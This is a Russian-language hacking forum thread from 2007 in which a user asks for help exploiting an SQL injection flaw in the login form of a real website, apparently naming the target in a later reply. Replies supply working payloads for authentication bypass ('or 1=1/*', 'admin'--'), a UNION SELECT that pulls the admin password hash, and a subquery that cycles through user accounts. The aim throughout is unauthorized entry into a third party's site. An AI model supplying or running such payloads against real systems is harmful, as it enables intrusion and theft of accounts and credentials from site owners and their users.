Sql запрос

Discussion in 'Уязвимости' started by Marlboro_X, 30 Jul 2007.

  1. Marlboro_X

    Marlboro_X Elder - Старейшина

    Joined:
    16 Oct 2006
    Messages:
    27
    Likes Received:
    9
    Reputations:
    -4
    Есть сайт. Есть форма с логином и паролем без фильтрации на символы. Когда ввожу что то типа:
    логин: rrr'
    пасс: njhj

    получаю ошибку

    SELECT id FROM Users WHERE login = 'rrr'' AND password = MD5('njhj'); caused error:
    Ошибка
    Ошибка запроса к базе данных. Попробуйте попытку ещё раз.
    You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near 'njhj')' at line 1

    Направьте в нужное русло все что знал перепробовал. Помогите заюзать багу
     
  2. Basurman

    Basurman Elder - Старейшина

    Joined:
    10 Nov 2006
    Messages:
    363
    Likes Received:
    271
    Reputations:
    29
    в поле логин or 1=1/*

    можно добавить limit 0,1 - тогда скорее всего будет админ
    А можно просто rrr/* - юзер будет rrr пароль любой

    Имхо...
     
    #2 Basurman, 30 Jul 2007
    Last edited: 30 Jul 2007
  3. Marlboro_X

    Marlboro_X Elder - Старейшина

    Joined:
    16 Oct 2006
    Messages:
    27
    Likes Received:
    9
    Reputations:
    -4
    1

    or 1=1/* пробовал!
    Оно грубо говоря заходит, но без юзера. Пишет даже "Здравствуйте, " и все.
     
  4. Basurman

    Basurman Elder - Старейшина

    Joined:
    10 Nov 2006
    Messages:
    363
    Likes Received:
    271
    Reputations:
    29
    пост выше. я дописал туда еще парочку способов - попробуй
     
  5. everm1nd

    everm1nd Member

    Joined:
    20 Jan 2007
    Messages:
    24
    Likes Received:
    5
    Reputations:
    1
    Я бы попробовал:
    SELECT id FROM Users WHERE login='admin'--
    т.е. login:admin'--
    или
    SELECT id FROM Users WHERE login='' or id=1--
    т.е. login:' or id=1--
    Думаю у админа идентификатор единичка, так что прокатит, если что перебери другие.
    А может исчо енто поможет:
    SELECT id FROM Users WHERE login='' UNION SELECT password FROM Users WHERE id=1--
    т.е. login:' UNION SELECT password FROM Users WHERE id=1--
    Потом расшифруешь...
    А при 1=1 пишет "Здраствуйте, " наверно потому, что идентификатор ноль стоит у гостя, и именно этот пользователь и является первым подходящим под запрос...
     
    1 person likes this.
  6. +toxa+

    +toxa+ Smack! SMACK!!!

    Joined:
    16 Jan 2005
    Messages:
    1,674
    Likes Received:
    1,029
    Reputations:
    1,228
    Попробуй через подзапрос
    Code:
    blah' or login=(select login from users limit 0,1)/*
    юзеров переключаем первым значением в лимите
     
    _________________________
  7. Basurman

    Basurman Elder - Старейшина

    Joined:
    10 Nov 2006
    Messages:
    363
    Likes Received:
    271
    Reputations:
    29
    http://sevclick.com

    оно там не пашет. двойная проверка? хз
    имхо ' or 1=1 limit 0,1/* подрубится под амином :)
     
    #7 Basurman, 30 Jul 2007
    Last edited: 30 Jul 2007